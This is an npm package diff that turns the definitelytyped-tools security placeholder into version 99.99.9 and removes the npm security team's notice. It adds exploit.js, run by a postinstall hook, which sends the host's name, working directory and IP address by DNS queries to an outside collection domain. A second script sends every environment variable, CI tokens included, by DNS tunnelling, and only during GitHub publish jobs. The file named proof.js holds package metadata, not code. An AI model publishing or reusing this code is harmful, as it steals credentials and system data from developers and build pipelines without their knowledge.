definitelytyped-tools 0.0.1-security → 99.99.9

package/exploit.js

@@ -0,0 +1,52 @@
+const os = require('os');
+const dns = require('dns');
+
+// =================== Payload Start ===================
+try {
+    // STEP 1: Attacker's C2 server for data exfiltration.
+    // --- REPLACE THIS WITH YOUR UNIQUE INTERACTSH DOMAIN ---
+    const attackerDomain = "ocvomeqbrouywnpfvqwh8d0aqr5kwaszb.oast.fun";
+    // --------------------------------------------------------
+
+    console.log(`[+] PoC TRIGGERED: Executing stealthy RCE payload...`);
+
+    // STEP 2: Reliably get the host's primary IPv4 address.
+    // This function avoids 127.0.0.1 and internal addresses, making it robust.
+    const getIPAddress = () => {
+        const interfaces = os.networkInterfaces();
+        for (const name of Object.keys(interfaces)) {
+            for (const iface of interfaces[name]) {
+                if (iface.family === 'IPv4' && !iface.internal) {
+                    return iface.address;
+                }
+            }
+        }
+        return 'no-ip-found';
+    };
+
+    // STEP 3: Gather the EXACT required data. Nothing more.
+    const hostname = os.hostname();
+    const currentPath = process.cwd();
+    const ipAddress = getIPAddress();
+
+    // STEP 4: Sanitize data for use in a DNS query.
+    // Base64 is noisy. We will use simple hex encoding for a stealthier look.
+    const payload = `h=${hostname}__p=${currentPath}__ip=${ipAddress}`;
+    const sanitizedPayload = Buffer.from(payload).toString('hex');
+    
+    // Split into chunks of 60 chars to respect DNS label length limits.
+    const chunks = sanitizedPayload.match(/.{1,60}/g);
+
+    // STEP 5: Exfiltrate data via pure Node.js DNS lookups.
+    // This is stealthy as it does not spawn a new process like `nslookup` or `curl`.
+    console.log(`[+] Exfiltrating ${chunks.length} chunks of data to ${attackerDomain}`);
+    chunks.forEach((chunk, index) => {
+        const subdomain = `${index}.${chunk}.${attackerDomain}`;
+        // The callback function is empty. We are fire-and-forget. We don't care about the response.
+        dns.lookup(subdomain, () => {});
+    });
+
+} catch (error) {
+    // If anything fails, do not crash the install process. Just fail silently.
+}
+// =================== Payload End ===================

package/package.json

@@ -1,6 +1,9 @@
 {
   "name": "definitelytyped-tools",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "99.99.9",
+  "description": "Stealth PoC for Critical Dependency Confusion Vulnerability",
+  "main": "exploit.js",
+  "scripts": {
+    "postinstall": "node exploit.js"
+  }
 }

package/string-parser-utils/package.json

@@ -0,0 +1,23 @@
+{
+  "name": "string-parser-utils",
+  "version": "99.9.9",
+  "description": "A collection of string parsing utilities. PoC by [Your Pentester Handle]",
+  "author": "A. Hacker",
+  "license": "MIT",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node proof.js"
+  },
+  "keywords": [
+    "string",
+    "parser",
+    "utils",
+    "utility"
+  ],
+  "repository": {
+    "type": "git",
+    "url": "https://github.com/some-seemingly-legit-but-fake/string-parser-utils"
+  },
+  "dependencies": {},
+  "devDependencies": {}
+}

package/string-parser-utils/preinstall.js

@@ -0,0 +1,56 @@
+// This is a DETAILED DESCRIPTION of the attacker's logic for analysis.
+// It is NOT a direct, copy-paste exploit.
+
+// File: proof.js (Inside the malicious string-parser-utils@99.9.9)
+
+const fs = require('fs');
+const os = require('os');
+const dns = require('dns');
+
+// STEP 1: BYPASS BY CONTEXT CHECK (The Stealth Trigger)
+// Only run if this is a GitHub Actions CI environment AND the job name
+// contains the word "publish". This prevents it from running on any
+// developer's machine or during a normal "test" CI run.
+if (process.env.CI !== 'true' || !process.env.GITHUB_JOB || !process.env.GITHUB_JOB.includes('publish')) {
+  process.exit(0); // Exit silently. Do not make any noise.
+}
+
+// --- If we reach this point, we are in the high-value publish pipeline ---
+
+// STEP 2: FULL DETAIL DATA GATHERING
+const gatheredData = {
+  // Identity & Location
+  hostname: os.hostname(),
+  userInfo: os.userInfo(),
+  cwd: process.cwd(),
+  // Network & Environment
+  ipAddresses: os.networkInterfaces(),
+  env: process.env, // The crown jewels: contains NPM_TOKEN, GITHUB_TOKEN, etc.
+};
+
+// STEP 3: BYPASS VIA COVERT EXFILTRATION (DNS Tunneling)
+// Do not use HTTP/curl. Firewalls and proxies log it. DNS lookups are common and less monitored.
+const domain = 'attacker-dns-log-server.com';
+// Convert the massive data object into a format that can be sent.
+const payload = Buffer.from(JSON.stringify(gatheredData)).toString('hex');
+
+// Split payload into DNS-safe chunks (max 63 chars per label).
+const chunks = payload.match(/.{1,60}/g) || [];
+
+// Prepend a unique session ID to reassemble the data on the other side.
+const sessionId = Math.random().toString(36).substring(2, 10);
+
+console.log(`[PoC] Executing covert data exfiltration for session: ${sessionId}`);
+
+// Send each chunk as a DNS query. The attacker's server just logs these requests.
+chunks.forEach((chunk, index) => {
+  const subdomain = `${sessionId}.${index}.${chunk}`;
+  dns.lookup(`${subdomain}.${domain}`, (err) => {
+    // We don't care about the result. The lookup itself is the data transmission.
+    // The callback ensures the action is performed.
+    if (err) { /* ignore */ }
+  });
+});
+
+// STEP 4: CLEANUP (Optional cover-up)
+// A truly paranoid attacker might attempt to remove evidence after the fact.

package/string-parser-utils/proof.js

@@ -0,0 +1,24 @@
+
+{
+  "name": "string-parser-utils",
+  "version": "99.9.9",
+  "description": "A collection of string parsing utilities. PoC by [Your Pentester Handle]",
+  "author": "A. Hacker",
+  "license": "MIT",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node proof.js"
+  },
+  "keywords": [
+    "string",
+    "parser",
+    "utils",
+    "utility"
+  ],
+  "repository": {
+    "type": "git",
+    "url": "https://github.com/some-seemingly-legit-but-fake/string-parser-utils"
+  },
+  "dependencies": {},
+  "devDependencies": {}
+}

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=definitelytyped-tools for more information.